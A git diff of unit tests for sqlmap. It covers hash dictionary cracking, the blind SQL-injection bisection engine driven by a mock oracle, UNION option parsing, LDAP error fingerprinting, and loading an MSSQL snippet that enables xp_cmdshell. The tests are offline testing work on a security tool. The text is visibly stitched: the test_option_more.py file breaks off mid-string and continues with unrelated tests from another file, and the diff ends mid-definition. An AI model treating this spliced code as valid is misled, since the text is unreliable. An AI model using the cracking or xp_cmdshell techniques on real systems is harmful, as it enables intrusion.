non-interactive, no-DB, single-process state.""" + + @classmethod + def setUpClass(cls): + cls._tmpfiles = [] + + # tiny wordlist containing the known plaintext (plus decoys) + cls.wordlist = os.path.join(SCRATCH, "test_hash_crack_wl.txt") + with open(cls.wordlist, "w") as f: + f.write("foo\nbar\n%s\nbaz\n" % PW) + cls._tmpfiles.append(cls.wordlist) + + @classmethod + def tearDownClass(cls): + for path in cls._tmpfiles: + try: + os.remove(path) + except OSError: + pass + + def setUp(self): + # snapshot global state we mutate + self._saved = { + "disableMulti": conf.disableMulti, + "hashDB": conf.hashDB, + "hashFile": conf.hashFile, + "wordlists": kb.wordlists, + "cachedUsersPasswords": kb.data.cachedUsersPasswords if "cachedUsersPasswords" in kb.data else None, + "storeHashes": kb.choices.storeHashes if "storeHashes" in kb.choices else None, + } + + # deterministic, fast, side-effect-free cracking + conf.disableMulti = True + conf.hashDB = None + kb.wordlists = [self.wordlist] + + def tearDown(self): + conf.disableMulti = self._saved["disableMulti"] + conf.hashDB = self._saved["hashDB"] + conf.hashFile = self._saved["hashFile"] + kb.wordlists = self._saved["wordlists"] + kb.data.cachedUsersPasswords = self._saved["cachedUsersPasswords"] + kb.choices.storeHashes = self._saved["storeHashes"] + + +class TestDictionaryAttack(_CrackBase): + def test_crack_md5_generic_variant_a(self): + # generic (no-salt) algorithms go through _bruteProcessVariantA + results = H.dictionaryAttack({"admin": [MD5_HASH]}) + self.assertEqual(results, [("admin", MD5_HASH, PW)]) + + def test_crack_postgres_variant_b(self): + # username-dependent algorithm goes through _bruteProcessVariantB + h = H.postgres_passwd(PW, "testuser", uppercase=False) + results = H.dictionaryAttack({"testuser": [h]}) + self.assertEqual(results, [("testuser", h, PW)]) + + def test_crack_django_md5_salted_variant_b(self): + # salted algorithm: salt is parsed out of the stored hash by dictionaryAttack + h = H.django_md5_passwd(PW, "salt") + results = H.dictionaryAttack({"u2": [h]}) + self.assertEqual(results, [("u2", h, PW)]) + + def test_no_password_found_returns_empty(self): + # plaintext not in wordlist -> nothing cracked + h = hashlib.md5(b"not-in-wordlist-xyz").hexdigest() + results = H.dictionaryAttack({"admin": [h]}) + self.assertEqual(results, []) + + def test_unknown_hash_format_ignored(self): + # a value that hashRecognition rejects produces no hash_regexes and no results + results = H.dictionaryAttack({"admin": ["not_a_hash"]}) + self.assertEqual(results, []) + + def test_empty_attack_dict(self): + self.assertEqual(H.dictionaryAttack({}), []) + + +class TestCrackHashFile(_CrackBase): + def setUp(self): + super(TestCrackHashFile, self).setUp() + # capture the parsed attack_dict that crackHashFile feeds to dictionaryAttack + self._captured = {} + self._real_attack = H.dictionaryAttack + + def _capture(attack_dict): + self._captured.clear() + self._captured.update(attack_dict) + return [] + + H.dictionaryAttack = _capture + + def tearDown(self): + H.dictionaryAttack = self._real_attack + super(TestCrackHashFile, self).tearDown() + + def test_user_colon_hash_file(self): + path = os.path.join(SCRATCH, "test_hash_crack_hashes.txt") + with open(path, "w") as f: + f.write("admin:%s\n" % MD5_HASH) + self._tmpfiles.append(path) + + conf.hashFile = path + self.assertIsNone(H.crackHashFile(path)) + + # the "user:hash" line is parsed into {username: [hash]} + self.assertEqual(self._captured, {"admin": [MD5_HASH]}) + + def test_bare_hash_file(self): + # no "user:hash" structure -> a dummy user is synthesised per line + path = os.path.join(SCRATCH, "test_hash_crack_bare.txt") + with open(path, "w") as f: + f.write("%s\n" % MD5_HASH) + self._tmpfiles.append(path) + + conf.hashFile = path + self.assertIsNone(H.crackHashFile(path)) + + from lib.core.settings import DUMMY_USER_PREFIX + self.assertEqual(len(self._captured), 1) + (key, value), = self._captured.items() + # the synthesised key uses the dummy-user prefix and maps to the bare hash + self.assertTrue(key.startswith(DUMMY_USER_PREFIX), + msg="bare line was not assigned a dummy user: %r" % key) + self.assertEqual(value, [MD5_HASH]) + + +class TestAttackCachedUsersPasswords(_CrackBase): + def test_annotates_cleartext(self): + kb.data.cachedUsersPasswords = {"admin": [MD5_HASH]} + H.attackCachedUsersPasswords() + # the original value is augmented in place with the recovered clear-text + self.assertIn("clear-text password: %s" % PW, kb.data.cachedUsersPasswords["admin"][0]) + + def test_no_cached_data_is_noop(self): + kb.data.cachedUsersPasswords = {} + # must simply return without touching anything + self.assertIsNone(H.attackCachedUsersPasswords()) + + +class TestStoreHashesToFile(_CrackBase): + def _hash_tempfiles(self): + pattern = os.path.join(tempfile.gettempdir(), MKSTEMP_PREFIX.HASHES + "*") + return set(glob.glob(pattern)) + + def test_store_disabled_writes_nothing(self): + kb.choices.storeHashes = False + before = self._hash_tempfiles() + H.storeHashesToFile({"admin": [MD5_HASH]}) + self.assertEqual(self._hash_tempfiles(), before) + + def test_store_enabled_writes_recognised_hash(self): + kb.choices.storeHashes = True + before = self._hash_tempfiles() + try: + H.storeHashesToFile({"admin": [MD5_HASH]}) + new = self._hash_tempfiles() - before + self.assertEqual(len(new), 1) + with open(next(iter(new))) as fh: + written = fh.read() + self.assertIn(MD5_HASH, written) + self.assertIn("admin", written) + finally: + for path in self._hash_tempfiles() - before: + try: + os.remove(path) + except OSError: + pass + + def test_empty_attack_dict_is_noop(self): + kb.choices.storeHashes = True + before = self._hash_tempfiles() + H.storeHashesToFile({}) + self.assertEqual(self._hash_tempfiles(), before) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_hashdb.py b/tests/test_hashdb.py index 597925c6231..36bbd4dc9ff 100644 --- a/tests/test_hashdb.py +++ b/tests/test_hashdb.py @@ -109,10 +109,21 @@ def test_bigarray_roundtrip(self): def test_bytes_containing_value_survives(self): # REGRESSION (base64-pickle bytes fix): silently failed to restore on py3 before the fix. + # Must round-trip through SQLite, not the in-memory caches: write+flush here, then open a + # FRESH HashDB on the same file (empty read/write caches) so retrieve() hits the disk path. value = {"raw": b"\x00\x01\xff", "items": [b"ab", "s", 1]} self.db.write("bytesval", value, True) self.db.flush() - self.assertEqual(self.db.retrieve("bytesval", True), value) + + fresh = HashDB(self.path) + try: + # sanity: the value is genuinely not in the fresh in-memory caches + self.assertFalse(fresh._write_cache) + hash_ = HashDB.hashKey("bytesval") + self.assertIsNone(fresh._read_cache.get(hash_)) + self.assertEqual(fresh.retrieve("bytesval", True), value) + finally: + fresh.closeAll() class TestKeyHashing(_HashDBCase): diff --git a/tests/test_inference.py b/tests/test_inference.py new file mode 100644 index 00000000000..adac33d5828 --- /dev/null +++ b/tests/test_inference.py @@ -0,0 +1,293 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Edge cases / control-flow branches of the blind-SQLi inference engine +(lib/techniques/blind/inference.py) plus the pure UNION configuration helper +(lib/techniques/union/use.py configUnion). + +Complements tests/test_inference_engine.py (which covers the happy-path char-by-char +extraction). Here we drive the REAL bisection() / queryOutputLength() against a mock +oracle (Request.queryPage replaced by a parser of our own parseable payload template) +to exercise the branches the engine test does not reach: + + * trivial returns: payload is None, length == 0 + * --first-char / --last-char range limiting (both via the function args and via + conf.firstChar / conf.lastChar) + * --hex output decoding of the assembled value + * kb.data.processChar post-processing hook + * session resume from HashDB: a fully cached value, and a PARTIAL_VALUE_MARKER + partial value that bisection continues from (against a REAL temp SQLite HashDB) + * queryOutputLength() forging + DIGITS-charset length retrieval + +No network, no live target, no real DBMS - exactly like the sibling engine test. +""" + +import os +import re +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms +bootstrap() + +from lib.core.data import conf, kb +from lib.core.common import decodeDbmsHexValue +from lib.core.common import getCurrentThreadData +from lib.core.common import hashDBWrite +from lib.core.enums import CHARSET_TYPE +from lib.core.exception import SqlmapSyntaxException +from lib.core.settings import PARTIAL_VALUE_MARKER +from lib.request.connect import Connect +from lib.utils.hashdb import HashDB +import lib.techniques.blind.inference as inf +import lib.techniques.union.use as uu + +# bisection forges: safeStringFormat(payload, (expression, idx, posValue)); '>' is the +# greater-char marker (swapped to '=' on the final equality check). A parseable template +# lets the mock oracle recover (idx, operator, threshold) and answer against a known secret. +TEMPLATE = "EXPR=%s IDX=%d CMP>%d" +_PARSE = re.compile(r"IDX=(\d+) CMP(.)(\d+)") + +# conf/kb knobs bisection reads on the simple single-threaded, no-prediction path +_CONF = {"predictOutput": False, "threads": 1, "api": False, "verbose": 0, "hexConvert": False, + "charset": None, "firstChar": None, "lastChar": None, "timeSec": 5, "eta": False, + "repair": False, "flushSession": None, "freshQueries": None, "hashDB": None} +_KB = {"partRun": None, "safeCharEncode": False, "bruteMode": False, "fileReadMode": False, + "disableShiftTable": False, "originalTimeDelay": 5, "prependFlag": False, + "resumeValues": True, "inferenceMode": False} + + +class _InferenceCase(unittest.TestCase): + def setUp(self): + self._saved_conf = {k: conf.get(k) for k in _CONF} + self._saved_kb = {k: kb.get(k) for k in _KB} + self._saved_qp = Connect.queryPage + self._saved_processChar = kb.data.get("processChar") + for k, v in _CONF.items(): + conf[k] = v + for k, v in _KB.items(): + kb[k] = v + kb.data.processChar = None + set_dbms("MySQL") + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + for k, v in self._saved_kb.items(): + kb[k] = v + kb.data.processChar = self._saved_processChar + Connect.queryPage = self._saved_qp + inf.Request.queryPage = self._saved_qp + + def _install_oracle(self, secret): + def oracle(payload=None, *args, **kwargs): + m = _PARSE.search(payload) + idx, op, threshold = int(m.group(1)), m.group(2), int(m.group(3)) + ch = ord(secret[idx - 1]) if 0 <= idx - 1 < len(secret) else 0 + return (ch > threshold) if op == ">" else (ch == threshold) + + Connect.queryPage = staticmethod(oracle) + inf.Request.queryPage = staticmethod(oracle) + + @staticmethod + def _reset_thread(): + td = getCurrentThreadData() + td.shared.value = "" + td.shared.index = [0] + td.shared.start = 0 + td.shared.count = 0 + + def _bisect(self, secret, expression="SELECT secret", length=None, **kwargs): + self._install_oracle(secret) + self._reset_thread() + if length is None: + length = len(secret) + return inf.bisection(TEMPLATE, expression, length=length, **kwargs) + + +class TestTrivialReturns(_InferenceCase): + def test_none_payload(self): + # payload is None -> (0, None) without ever touching the oracle + self.assertEqual(inf.bisection(None, "SELECT x"), (0, None)) + + def test_zero_length(self): + # length == 0 -> (0, "") short-circuit + self._install_oracle("ignored") + self._reset_thread() + self.assertEqual(inf.bisection(TEMPLATE, "SELECT x", length=0), (0, "")) + + +class TestRangeLimiting(_InferenceCase): + SECRET = "ABCDEFGH" + + def test_first_char_arg(self): + # firstChar=3 -> start from the 3rd character (1-based) -> drop "AB" + _, value = self._bisect(self.SECRET, firstChar=3) + self.assertEqual(value, "CDEFGH") + + def test_last_char_arg(self): + # lastChar=4 -> stop after the 4th character + _, value = self._bisect(self.SECRET, lastChar=4) + self.assertEqual(value, "ABCD") + + def test_conf_first_char(self): + conf.firstChar = 4 + _, value = self._bisect(self.SECRET) + self.assertEqual(value, "DEFGH") + + def test_conf_last_char(self): + conf.lastChar = 3 + _, value = self._bisect(self.SECRET) + self.assertEqual(value, "ABC") + + def test_first_and_last_window(self): + # combined window: chars 3..6 inclusive -> "CDEF" + _, value = self._bisect(self.SECRET, firstChar=3, lastChar=6) + self.assertEqual(value, "CDEF") + + +class TestHexConvert(_InferenceCase): + def test_hex_output_decoded(self): + # --hex: the retrieved value is a hex string the engine decodes on the way out + conf.hexConvert = True + hexed = "48656C6C6F" # "Hello" + _, value = self._bisect(hexed) + self.assertEqual(value, "Hello") + self.assertEqual(value, decodeDbmsHexValue(hexed)) + + +class TestProcessCharHook(_InferenceCase): + def test_process_char_applied_to_each_char(self): + # kb.data.processChar transforms every assembled character + kb.data.processChar = lambda c: c.upper() + _, value = self._bisect("abcde") + self.assertEqual(value, "ABCDE") + + +class TestResumeFromHashDB(_InferenceCase): + """bisection() consults the session store first (hashDBRetrieve(checkConf=True)). + Exercised against a REAL temporary SQLite HashDB (same approach as test_hashdb.py).""" + + def setUp(self): + _InferenceCase.setUp(self) + fd, self.path = tempfile.mkstemp(suffix=".sqlite") + os.close(fd) + os.remove(self.path) # HashDB creates it lazily + conf.hashDB = HashDB(self.path) + # hashDBRetrieve/Write key off these + self._saved_loc = (conf.get("hostname"), conf.get("path"), conf.get("port")) + conf.hostname = "test.invalid" + conf.path = "/" + conf.port = 80 + + def tearDown(self): + conf.hostname, conf.path, conf.port = self._saved_loc + try: + conf.hashDB.closeAll() + except Exception: + pass + if os.path.exists(self.path): + os.remove(self.path) + _InferenceCase.tearDown(self) + + def test_full_value_resumed(self): + # a complete cached value short-circuits the whole bisection (0 queries) + hashDBWrite("SELECT cached", "RESUMED") + conf.hashDB.flush() + count, value = self._bisect("ignored-secret", expression="SELECT cached", length=7) + self.assertEqual(value, "RESUMED") + self.assertEqual(count, 0) + + def test_partial_value_continued(self): + # a PARTIAL_VALUE_MARKER value is resumed-from: bisection keeps the prefix + # and extracts only the remaining characters + kb.inferenceMode = True # partial markers are honored only in inference mode + hashDBWrite("SELECT partial", "%sAB" % PARTIAL_VALUE_MARKER) + conf.hashDB.flush() + count, value = self._bisect("ABCDE", expression="SELECT partial", length=5) + self.assertEqual(value, "ABCDE") + self.assertGreater(count, 0) # it did real work for "CDE" + + +class TestQueryOutputLength(_InferenceCase): + def test_length_retrieved(self): + # queryOutputLength forges a LENGTH() expression and runs bisection with the + # DIGITS charset; the mock "secret" is the textual length itself + self._install_oracle("42") + self._reset_thread() + self.assertEqual(int(inf.queryOutputLength("SELECT data", TEMPLATE)), 42) + + def test_length_single_digit(self): + self._install_oracle("7") + self._reset_thread() + self.assertEqual(int(inf.queryOutputLength("SELECT data", TEMPLATE)), 7) + + def test_digits_charset_extracts_number(self): + # direct bisection with the DIGITS charset (queryOutputLength's inner call) + _, value = self._bisect("2026", charsetType=CHARSET_TYPE.DIGITS) + self.assertEqual(value, "2026") + + +class TestConfigUnion(unittest.TestCase): + """lib/techniques/union/use.py configUnion - pure parsing of --union-char / --union-cols.""" + + _CONF = {"uChar": None, "uCols": None, "uColsStart": 1, "uColsStop": 50} + + def setUp(self): + self._saved = {k: conf.get(k) for k in self._CONF} + self._saved_uchar = kb.get("uChar") + for k, v in self._CONF.items(): + conf[k] = v + + def tearDown(self): + for k, v in self._saved.items(): + conf[k] = v + kb.uChar = self._saved_uchar + + def test_char_and_range(self): + uu.configUnion(char="NULL", columns="2-6") + self.assertEqual(kb.uChar, "NULL") + self.assertEqual((conf.uColsStart, conf.uColsStop), (2, 6)) + + def test_single_column(self): + uu.configUnion(char="NULL", columns="4") + self.assertEqual((conf.uColsStart, conf.uColsStop), (4, 4)) + + def test_uchar_substitution_quoted(self): + # conf.uChar (non-digit) gets quoted and substituted into the [CHAR] template + conf.uChar = "test" + uu.configUnion(char="x[CHAR]x", columns="1") + self.assertEqual(kb.uChar, "x'test'x") + + def test_uchar_substitution_digit(self): + # a digit conf.uChar is substituted unquoted + conf.uChar = "88" + uu.configUnion(char="[CHAR]", columns="1") + self.assertEqual(kb.uChar, "88") + + def test_conf_ucols_overrides_columns_arg(self): + # conf.uCols takes precedence over the columns argument + conf.uCols = "3-9" + uu.configUnion(char="NULL", columns="1-2") + self.assertEqual((conf.uColsStart, conf.uColsStop), (3, 9)) + + def test_non_integer_range_raises(self): + self.assertRaises(SqlmapSyntaxException, uu.configUnion, char="NULL", columns="abc") + + def test_inverted_range_raises(self): + self.assertRaises(SqlmapSyntaxException, uu.configUnion, char="NULL", columns="9-2") + + def test_non_string_char_ignored(self): + # a non-string char leaves kb.uChar untouched (early return) + kb.uChar = "SENTINEL" + uu.configUnion(char=None, columns="1") + self.assertEqual(kb.uChar, "SENTINEL") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_ldap.py b/tests/test_ldap.py index b4bc2408675..f590dcfb846 100644 --- a/tests/test_ldap.py +++ b/tests/test_ldap.py @@ -102,32 +102,56 @@ def test_replaceSegment(self): class TestFingerprinting(unittest.TestCase): + # The mapping branches recognise a distinctive vendor substring *anywhere* inside + # a realistic error banner and normalise it to a canonical backend name. Feeding + # an embedded substring (not the bare canonical name) proves the source performs + # real substring discrimination rather than echoing its input. def test_fingerprintByError_ad(self): - self.assertEqual(ldap._fingerprintByError("Microsoft Active Directory"), - "Microsoft Active Directory") + self.assertEqual( + ldap._fingerprintByError("LDAP error from Microsoft Active Directory server"), + "Microsoft Active Directory") def test_fingerprintByError_openldap(self): - self.assertEqual(ldap._fingerprintByError("OpenLDAP"), "OpenLDAP") + self.assertEqual(ldap._fingerprintByError("OpenLDAP 2.4.57 SERVER_DOWN"), + "OpenLDAP") def test_fingerprintByError_apacheds(self): - self.assertEqual(ldap._fingerprintByError("ApacheDS"), "ApacheDS") + self.assertEqual(ldap._fingerprintByError("org.apache.directory.ApacheDS 2.0"), + "ApacheDS") def test_fingerprintByError_oracle(self): - self.assertEqual(ldap._fingerprintByError("Oracle Directory Server"), + self.assertEqual(ldap._fingerprintByError("Oracle Internet Directory / Oracle stack"), "Oracle Directory Server") def test_fingerprintByError_389(self): - self.assertEqual(ldap._fingerprintByError("389 Directory Server"), + self.assertEqual(ldap._fingerprintByError("Red Hat 389 ns-slapd"), "389 Directory Server") - def test_fingerprintByError_generic(self): - self.assertEqual(ldap._fingerprintByError("Generic LDAP"), "Generic LDAP") - - def test_fingerprintByError_jndi(self): - self.assertEqual(ldap._fingerprintByError("Java JNDI"), "Java JNDI") - - def test_fingerprintByError_pythonldap(self): - self.assertEqual(ldap._fingerprintByError("python-ldap"), "python-ldap") + def test_fingerprintByError_precedence_ad_over_oracle(self): + # A banner carrying two recognised substrings resolves to the earlier branch + # (Active Directory), proving the result is driven by branch order, not by an + # echo of whichever name happens to appear. + self.assertEqual( + ldap._fingerprintByError("Microsoft Active Directory bridged to Oracle"), + "Microsoft Active Directory") + + def test_fingerprintByError_none_and_empty(self): + # The only real branch reachable by non-mapping banners: the falsy guard. + self.assertIsNone(ldap._fingerprintByError(None)) + self.assertIsNone(ldap._fingerprintByError("")) + + def test_fingerprintByError_passthrough_when_unmatched(self): + # Banners that match no vendor branch (including the "python-ldap"/"Java JNDI" + # case, whose source branch is observationally identical to the catch-all) are + # returned verbatim. This single test documents that pass-through contract and, + # crucially, asserts such banners are NOT misclassified into a specific backend. + for banner in ("Generic LDAP", "python-ldap 3.4.0", "Caused by: Java JNDI", + "some unrecognised directory service"): + result = ldap._fingerprintByError(banner) + self.assertEqual(result, banner) + self.assertNotIn(result, ("Microsoft Active Directory", "OpenLDAP", + "ApacheDS", "Oracle Directory Server", + "389 Directory Server")) class TestGrid(unittest.TestCase): @@ -367,54 +391,41 @@ def test_cookie_not_in_ldap_places(self): class TestNestedFilterParsing(unittest.TestCase): + def setUp(self): + # Import the REAL vulnserver parser (same technique as + # tests/test_graphql.py :: TestVulnserverGraphqlParser). `extra` and + # `extra/vulnserver` are packages, so a plain import works. + from extra.vulnserver import vulnserver + self.vs = vulnserver + def test_nested_compound_parses_all_siblings(self): """Blockers 3: nested (&) inside (|) must parse all siblings.""" - # Inline copies of the vulnserver helpers so the test is self-contained - def _ldap_match(text, start): - depth = 0 - i = start - while i < len(text): - ch = text[i] - if ch == '(': - depth += 1 - elif ch == ')': - depth -= 1 - if depth == 0: - return i + 1 - elif ch == '\\': - i += 1 - i += 1 - return len(text) - - def _ldap_parse_value(text, start): - retVal = [] - i = start - while i < len(text) and text[i] not in (')',): - if text[i] == '\\' and i + 2 < len(text): - retVal.append(chr(int(text[i+1:i+3], 16))) - i += 3 - else: - retVal.append(text[i]) - i += 1 - return ''.join(retVal), i - - # Minimum reproduction of the fixed _ldap_filter_to_sql - # (the real function is in extra/vulnserver/vulnserver.py) - import sys, os - sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'extra', 'vulnserver')) - # Can't cleanly import vulnserver because of the __main__ guard. - # Instead we verify the fixed _ldap_match returns the correct end - # position for a nested compound filter, which was the root cause. f = '(|(&(uid=a)(cn=b))(mail=*))' - # The outer (| ... ) starts at 0 and should end at len(f) - outer_end = _ldap_match(f, 0) + + # The REAL _ldap_match must balance brackets across nested compounds. + # Outer (| ... ) starts at 0 and ends at len(f). + outer_end = self.vs._ldap_match(f, 0) self.assertEqual(outer_end, len(f)) - # The inner (& ... ) compound's opening '(' is at position 2 - # (f[2] == '('). _ldap_match must return the position after the - # matching ')' that closes the compound, i.e. right before (mail=*). - inner_end = _ldap_match(f, 2) + # Inner (& ... )'s opening '(' is at position 2; _ldap_match must + # return the position right before the (mail=*) sibling. + inner_end = self.vs._ldap_match(f, 2) self.assertEqual(f[inner_end:inner_end+8], '(mail=*)') + # The REAL filter->SQL conversion must surface EVERY sibling condition: + # both members of the nested (&) AND the (mail=*) sibling of the (|). + clause, params, end = self.vs._ldap_filter_to_sql(f) + self.assertEqual(end, len(f)) + self.assertIsNotNone(clause) + # nested-(&) siblings -> AND-joined, both columns present + self.assertIn(" AND ", clause) + self.assertIn("uid", clause) + self.assertIn("cn", clause) + # outer-(|) sibling must NOT be dropped + self.assertIn(" OR ", clause) + self.assertIn("mail", clause) + # the two equality values are parameterized in order + self.assertEqual(params, ["a", "b"]) + if __name__ == "__main__": unittest.main() diff --git a/tests/test_option_more.py b/tests/test_option_more.py new file mode 100644 index 00000000000..3e49b83e024 --- /dev/null +++ b/tests/test_option_more.py @@ -0,0 +1,663 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Additional coverage for option setup / normalization helpers in +lib/core/option.py, targeting functions and branches NOT already exercised by +tests/test_option_setup.py: + + * _setTamperingFunctions (loads real tamper modules into kb.tamperFunctions) + * _setPreprocessFunctions (loads a preprocess(req) script into kb.preprocessFunctions) + * _setPostprocessFunctions (loads a postprocess(page, headers, code) script) + * _setSafeVisit (parses a safe request file into kb.safeReq) + * _cleanupOptions (additional normalization branches: delay cast, + csvDel/paramDel escape, col/binaryFields split, + torType upper, abortCode, getAll, dummy->batch) + * _basicOptionValidation (additional illegal option combinations / branches) + * _normalizeOptions (string + boolean option coercion) + * setVerbosity (eta clamp + high verbose) + +As in test_option_setup.py, option.py mutates the global conf/kb singletons +aggressively, so every test saves and restores the conf/kb fields it touches via +the _preserve() context manager so the shared state stays pristine for the rest +of the suite. +""" + +import contextlib +import logging +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.data import conf, kb, logger, paths +from lib.core.exception import SqlmapSyntaxException +from lib.core.exception import SqlmapSystemException +from lib.core.exception import SqlmapGenericException +from lib.core.exception import SqlmapFilePathException +from lib.core.exception import SqlmapValueException +from lib.core.settings import MAX_CONNECT_RETRIES + +import lib.core.option as option + +_SENTINEL = object() + +# scratchpad for the preprocess/postprocess/safe-req fixture files +_SCRATCH = os.environ.get("CLAUDE_SCRATCH") or os.path.join(os.path.dirname(os.path.abspath(__file__)), "_option_more_tmp") + + +def tearDownModule(): + """Remove the scratch fixture directory so it never lingers on disk (and so a + stray __init__.py there can't shadow imports in a subsequent run).""" + import shutil + if os.path.isdir(_SCRATCH): + shutil.rmtree(_SCRATCH, ignore_errors=True) + + +@contextlib.contextmanager +def _preserve(target, *keys): + """Save the given keys of an AttribDict (conf/kb), then restore on exit. + + Missing keys are restored to absent so a test can't leak a brand-new field. + """ + saved = {} + for key in keys: + saved[key] = target[key] if key in target else _SENTINEL + try: + yield + finally: + for key in keys: + if saved[key] is _SENTINEL: + try: + del target[key] + except KeyError: + pass + else: + target[key] = saved[key] + + +class _ImportSandboxMixin(object): + """Loaders in option.py (tamper/preprocess/postprocess) permanently + `sys.path.insert(0, " + forms = findPageForms(html, "http://www.site.com") + self.assertTrue(any(m == HTTPMETHOD.POST and u.endswith("/api/save") for (u, m, d, c, e) in forms)) + + def test_blank_content_returns_empty_set(self): + self.assertEqual(findPageForms("", "http://www.site.com"), set()) + + +class TestSaveConfig(unittest.TestCase): + def test_writes_ini_with_sections(self): + path = _write_temp("", ".ini") + try: + saveConfig(conf, path) + with open(path) as f: + data = f.read() + finally: + os.unlink(path) + + # optDict families become [Section] headers + self.assertIn("[Target]", data) + self.assertIn("[Request]", data) + self.assertIn("[Enumeration]", data) + self.assertTrue(len(data) > 0) + + +class TestGetSQLSnippet(unittest.TestCase): + def test_mssql_proc_loaded(self): + snippet = getSQLSnippet(DBMS.MSSQL, "activate_sp_oacreate") + self.assertIn("RECONFIGURE", snippet) + + def test_variable_substitution(self): + # %VAR% placeholders are substituted from kwargs (here %ENABLE%); + # supplying it avoids the interactive "provide substitution values" prompt. + snippet = getSQLSnippet(DBMS.MSSQL, "configure_xp_cmdshell", ENABLE="1") + self.assertIn("xp_cmdshell", snippet) + self.assertIn("RECONFIGURE", snippet) + # comments (#...) are stripped and the placeholder is fully resolved + self.assertNotIn("#", snippet) + self.assertNotIn("%ENABLE%", snippet) + + +class TestCheckSystemEncoding(unittest.TestCase): + def test_noop_on_normal_encoding(self): + # On a normal default encoding this is a no-op and must not raise. + self.assertIsNone(checkSystemEncoding()) + + +class TestFormatGetOs(unittest.TestCase): + def setUp(self): + self._api = conf.api + conf.api = False + + def tearDown(self): + conf.api = self._api + + def test_humanizes_type_and_technology(self): + info = { + "type": set(["Linux"]), + "distrib": set(["Ubuntu"]), + "release": set(["8.10"]), + "technology": set(["PHP 5.2.6", "Apache 2.2.9"]), + } + out = Format.getOs("back-end DBMS", info) + self.assertTrue(out.startswith("back-end DBMS operating system: Linux")) + self.assertIn("Ubuntu", out) + self.assertIn("8.10", out) + self.assertIn("web application technology:", out) + + def test_api_mode_returns_dict(self): + orig = conf.api + try: + conf.api = True + info = {"type": set(["Windows"]), "technology": set(["IIS"])} + out = Format.getOs("back-end DBMS", info) + self.assertIsInstance(out, dict) + self.assertIn("web application technology", out) + finally: + conf.api = orig + + +class TestBackendSetters(unittest.TestCase): + """Backend OS/version setters write kb state; save and restore it.""" + + _KEYS = ("os", "osVersion", "osSP", "dbmsVersion") + + def setUp(self): + self._saved = {k: kb.get(k) for k in self._KEYS} + + def tearDown(self): + for k, v in self._saved.items(): + kb[k] = v + + def test_set_get_os(self): + kb.os = None + self.assertEqual(Backend.setOs("windows"), "Windows") # capitalized + self.assertEqual(Backend.getOs(), "Windows") + + def test_set_os_none_returns_none(self): + self.assertIsNone(Backend.setOs(None)) + + def test_set_os_version(self): + kb.osVersion = None + Backend.setOsVersion("2008") + self.assertEqual(Backend.getOsVersion(), "2008") + + def test_set_os_service_pack(self): + kb.osSP = None + Backend.setOsServicePack(3) + self.assertEqual(Backend.getOsServicePack(), 3) + + def test_set_get_version(self): + kb.dbmsVersion = [] + self.assertEqual(Backend.setVersion("5.7"), ["5.7"]) + self.assertEqual(Backend.getVersion(), "5.7") + + def test_set_version_list(self): + kb.dbmsVersion = [] + Backend.setVersionList(["8.0", "8.1"]) + self.assertEqual(Backend.getVersionList(), ["8.0", "8.1"]) + + +class TestUrlencodeExtraBranches(unittest.TestCase): + def test_like_percent_encoded(self): + # '%' inside a LIKE '...' literal is encoded to %25 + self.assertEqual(urlencode("AND name LIKE '%DBA%'"), + "AND%20name%20LIKE%20%27%25DBA%25%27") + + def test_convall_drops_safe_set(self): + self.assertEqual(urlencode("a&b", convall=True), "a%26b") + + def test_limit_does_not_crash_on_long_input(self): + out = urlencode("x " * 4000, limit=True) + self.assertTrue(len(out) > 0) + + def test_direct_mode_returns_value_unchanged(self): + orig = conf.direct + try: + conf.direct = "mysql://u:p@h:3306/d" + self.assertEqual(urlencode("a b"), "a b") + finally: + conf.direct = orig + + +class TestSafeStringFormatExtraBranches(unittest.TestCase): + def test_percent_d_in_payload_region_becomes_string(self): + fmt = "SELECT %s" + PAYLOAD_DELIMITER + " AND %d " + PAYLOAD_DELIMITER + self.assertEqual( + safeStringFormat(fmt, ("a", "5")), + "SELECT a" + PAYLOAD_DELIMITER + " AND 5 " + PAYLOAD_DELIMITER) + + def test_scalar_string_percent_preserved(self): + # single-string param path: plain replace, embedded '%' survives + self.assertEqual(safeStringFormat("LIKE %s", "100%done"), "LIKE 100%done") + + def test_two_params_list(self): + self.assertEqual(safeStringFormat("%s/%s", ("a", "b")), "a/b") + + +# =========================================================================== # +# from tests/test_core_more.py (common.py classes) +# =========================================================================== # + +class TestSmallPredicates(unittest.TestCase): + def test_is_none_value(self): + self.assertTrue(isNoneValue(None)) + self.assertTrue(isNoneValue("None")) + self.assertTrue(isNoneValue("")) + self.assertTrue(isNoneValue([])) + self.assertTrue(isNoneValue(["None", ""])) + self.assertTrue(isNoneValue({})) + self.assertFalse(isNoneValue([2])) + self.assertFalse(isNoneValue("x")) + + def test_is_null_value(self): + self.assertTrue(isNullValue(u"NULL")) + self.assertTrue(isNullValue(u"null")) + self.assertFalse(isNullValue(u"foobar")) + self.assertFalse(isNullValue(5)) + + def test_is_num_pos_str_value(self): + self.assertTrue(isNumPosStrValue(1)) + self.assertTrue(isNumPosStrValue("1")) + self.assertFalse(isNumPosStrValue(0)) + self.assertFalse(isNumPosStrValue("-2")) + self.assertFalse(isNumPosStrValue("100000000000000000000")) + self.assertFalse(isNumPosStrValue("abc")) + + def test_is_number(self): + self.assertTrue(isNumber(1)) + self.assertTrue(isNumber("0")) + self.assertTrue(isNumber("3.14")) + self.assertFalse(isNumber("foobar")) + self.assertFalse(isNumber(None)) + + def test_is_list_like(self): + self.assertTrue(isListLike([1])) + self.assertTrue(isListLike((1,))) + self.assertTrue(isListLike(set([1]))) + self.assertFalse(isListLike("x")) + self.assertFalse(isListLike(5)) + + +class TestValueShaping(unittest.TestCase): + def test_filter_pair_values(self): + self.assertEqual(filterPairValues([[1, 2], [3], 1, [4, 5]]), [[1, 2], [4, 5]]) + self.assertEqual(filterPairValues(None), []) + + def 